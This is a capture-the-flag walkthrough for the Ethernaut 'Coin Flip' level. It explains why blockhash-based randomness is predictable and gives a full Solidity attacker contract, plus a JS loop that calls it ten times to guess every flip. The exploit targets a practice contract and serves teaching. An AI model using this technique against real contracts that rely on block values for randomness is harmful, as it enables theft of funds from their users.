Coin Flip – Level 3 Walkthrough
Welcome to Coin Flip, the third level of the Ethernaut wargame by OpenZeppelin, focused on exploiting pseudo-randomness vulnerabilities.
Challenge Objective
You are given a contract that mimics a coin flip, generating guesses using a flawed random mechanism:
function flip(bool _guess) public returns (bool) { … }
Your goals:
- Predict the next coin flip outcome
- Achieve 10 consecutive wins
- Submit the instance to complete the level
Prerequisites
Before you begin, ensure the following:
- MetaMask is installed and connected to a testnet
- Test ETH (e.g., Goerli, Sepolia)
- Familiarity with browser DevTools and JS console
- Access to the Ethernaut Game
Getting Started
1. Load the Level
- Visit ethernaut.openzeppelin.com
- Select “Coin Flip”
- Click “Get new instance”
- Confirm the MetaMask transaction to deploy your unique contract
This injects a global contract
object into your browser console.
Walkthrough – Step by Step
Step 1: Understand the Flipping Logic
await contract.flip(true) // or false
await contract.consecutiveWins()
Internally, the contract calculates:
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1;
Since both blockValue
and FACTOR
are known, you can replicate the result.
See: [blog.blockmagnates.com][1], [coinsbench.com][2], [dev.to][3], [securitypills.news][4]
Step 2: Create Attack Contract
Craft a Solidity contract that imports CoinFlip
and predicts each flip:
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
function consecutiveWins() external view returns (uint256);
}
contract CoinFlipAttacker {
ICoinFlip public target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _target) {
target = ICoinFlip(_target);
}
function attack() external {
uint256 blockValue = uint256(blockhash(block.number - 1));
bool guess = (blockValue / FACTOR) == 1;
target.flip(guess);
}
}
This mimics the contract’s flip()
logic and calls it with the correct outcome.
Reference: [gist.github.com][5]
Step 3: Deploy & Execute
-
Deploy this attack contract via Remix (Injected Provider).
-
Run the
attack()
method 10 times, either manually or in a loop:for (let i = 0; i < 10; i++) { await attacker.attack(); }
-
Confirm each flip increases
consecutiveWins
. Eventually, it should hit 10.
Step 4: Submit the Level
Once consecutiveWins() == 10
, go back to the Ethernaut UI, click “Submit instance”, and confirm the transaction.
What You Learn
- Block values like
blockhash
andblock.number
are not secure entropy sources - You can replicate pseudorandom logic to manipulate outcomes
- Executing calls within your own contract ensures the same block context
([gist.github.com][5], [notonlyowner.com][6])
Concepts Covered
Concept | Description |
---|---|
Pseudo-randomness | Demonstrates blockchain vulnerabilities using deterministic data |
Contract-to-contract calls | Provides simultaneous context for prediction and call |
Consecutive-state logic | Shows how state resets or increments based on repeated action |
Attack automation | Highlights how automated scripts/contracts can completely solve deterministic contracts |